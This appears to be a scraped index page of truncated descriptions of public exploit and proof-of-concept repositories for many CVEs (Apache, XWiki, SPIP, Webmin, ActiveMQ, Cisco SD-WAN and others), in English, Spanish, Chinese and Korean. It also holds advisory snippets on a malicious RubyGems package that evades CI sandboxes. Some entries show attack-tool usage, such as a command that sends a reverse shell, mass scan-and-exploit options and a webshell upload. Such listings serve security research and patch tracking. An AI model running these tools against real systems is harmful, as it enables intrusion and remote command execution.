CVE-2021-41773

CVE-2021-41773 Go language poc&exp project. Disclaimer: This project comes from the author's daily study notes. Do not use related technologies and tools for illegal testing. The author shall not be liable for any adverse consequences arising therefrom. Usage: ./main -u Single URL ./main -u -c...

CVE-2022-23935

CVE-2022-23935 The Exiftool software program, in versions prior to 12.38, has a security vulnerability that can be exploited through a specially crafted filename. This vulnerability allows for command injection, where an attacker can execute arbitrary commands on the system by appending a pipe...

CVE-2019-6446

CVE-2019-6446 Numpy Deserialization Command Execution NumPy is a powerful Python library primarily used for performing computations on multi-dimensional arrays. Experts have analyzed that versions less than or equal to 1.16.0 contain this vulnerability. The fix recommendation is to delete the...

CVE-2011-2523

CVE-2011-2523 Estos son apuntes para la creación de la metodología de ataque en un entorno controlado. Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima 1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra 2-...

CVE-2025-24893-PoC

CVE-2025-24893 – Ejecución Remota de Comandos en XWiki Prueba de Concepto Resumen Este repositorio contiene una Prueba de Concepto PoC controlada para CVE-2025-24893 , una vulnerabilidad de Ejecución Remota de Comandos RCE sin autenticación que afecta a XWiki. La vulnerabilidad permite a un...

CVE-2024-7954

CVE-2024-7954 Este exploit intentará ejecutar comandos del sistema en objetivos SPIP CVE-2024-7954. Visión general Esta es una herramienta de escaneo y explotación masiva para CVE-2024-7954: SPIP 4.2.8 permite a atacantes no autenticados lanzar RCE en objetivos SPIP. Esta herramienta está basada ...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd 3.2.8.1 Backdoor Command Execution UnrealIRCd 3.2.8.1 backdoor command execution exploit in Python 3 CVE-2010-2075. Description UnrealIRCd version 3.2.8.1 contains a trojan horse which allows remote attackers to execute arbitrary commands CVE-2010-2075. I referenced the Metasploit...

Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17568 Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

hfs-cve-2014-6287-exploit

Herramienta de Explotación HFS CVE-2014-6287 Resumen Este repositorio contiene una herramienta de explotación basada en Python diseñada para aprovechar la vulnerabilidad CVE-2014-6287 en HTTP File Server HFS versiones 2.3.x. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios ...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Prueba de Concepto de RCE en Apache ActiveMQ Asignación: SSP Assignment 3 Equipo: RCE You Later Miembros: Banica Horia Alexandru, Comarlau Vlad-Constantin Enlace de video del uso del repositorio para realizar la PoC:https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 Descripción general...

CVE-2026-20127_EXP

CVE-2026-20127EXP Cisco Catalyst SD-WAN Authentication Bypass Vulnerability CVE-2026-20127 Exploit EXP Basic Usage python scan.py -f targets.txt Display Detailed Information python scan.py -f targets.txt -v Adjust Thread Count and Save Results python scan.py -f targets.txt -t 10 -o vulnerable.txt...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC independiente para CVE-2019-12840. A continuación, enviará una reverse shell en el puerto 443 $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | |...

CVE-2025-49132-poc

CVE-2025-49132-poc Hice este poc para CVE-2025-49132, ya que fue interesante de hacer y es parte de un desafío en mi plataforma cibernética deepreview ! Este CVE aprovecha una vulnerabilidad de inclusión de archivos que puede escalarse a una ejecución remota de código con el script pearcmd.php...

CVE-2022-1292

CVE-2022-1292 설명 crehash 스크립트는 명령 주입을 방지하기 위해 셸 메타 문자를 제대로 처리하지 않습니다. 이 스크립트는 일부 운영 체제에서 자동으로 실행되는 방식으로 배포됩니다. 이러한 운영 체제에서 공격자는 스크립트의 권한으로 임의의 명령을 실행할 수 있습니다. crehash 스크립트의 사용은 더 이상 사용되지 않는 것으로 간주되며 OpenSSL rehash 명령줄 도구로 대체되어야 합니다. OpenSSL 3.0.3에서 수정됨 영향: 3.0.0,3.0.1,3.0.2. OpenSSL 1.1.1o에서 수정됨...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424：1Panel Client Certificate Bypass RCE Vulnerability All-in-One Tool Scan + Exploit Vulnerability Overview 1Panel is an open-source, modern Linux operation and maintenance panel that provides a graphical interface for deploying websites, managing servers, and running...

cve-2022-29464

cve-2022-29464 Disclaimer 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 Usage usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp Direct command execution available Webshell...

CVE-2024-24590

Exploit de ClearML Este repositorio contiene un exploit de prueba de concepto para una vulnerabilidad de deserialización en ClearML, que permite la ejecución remota de comandos. Este exploit demuestra cómo cargar un artefacto pickle malicioso en ClearML para obtener una reverse shell. Requisitos...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 Script PoC para CVE-2023-4596, una herramienta eficiente en Python creada para realizar Ejecución Remota de Comandos sin autenticación a través de cargas de archivos arbitrarias. Recursos Instalación Uso Aviso legal Instalación git clone...

Sangfor-CVE-2025-12916

Sangfor-CVE-2025-12916 Sangfor CVE-2025-12916 Remote Command Execution Vulnerability Batch Detection Tool || Author: Jinxia Security Sangfor OSM Vulnerability Batch Detection Tool A batch detection tool for the CVE-2025-12916 remote command execution vulnerability in Sangfor Operation and...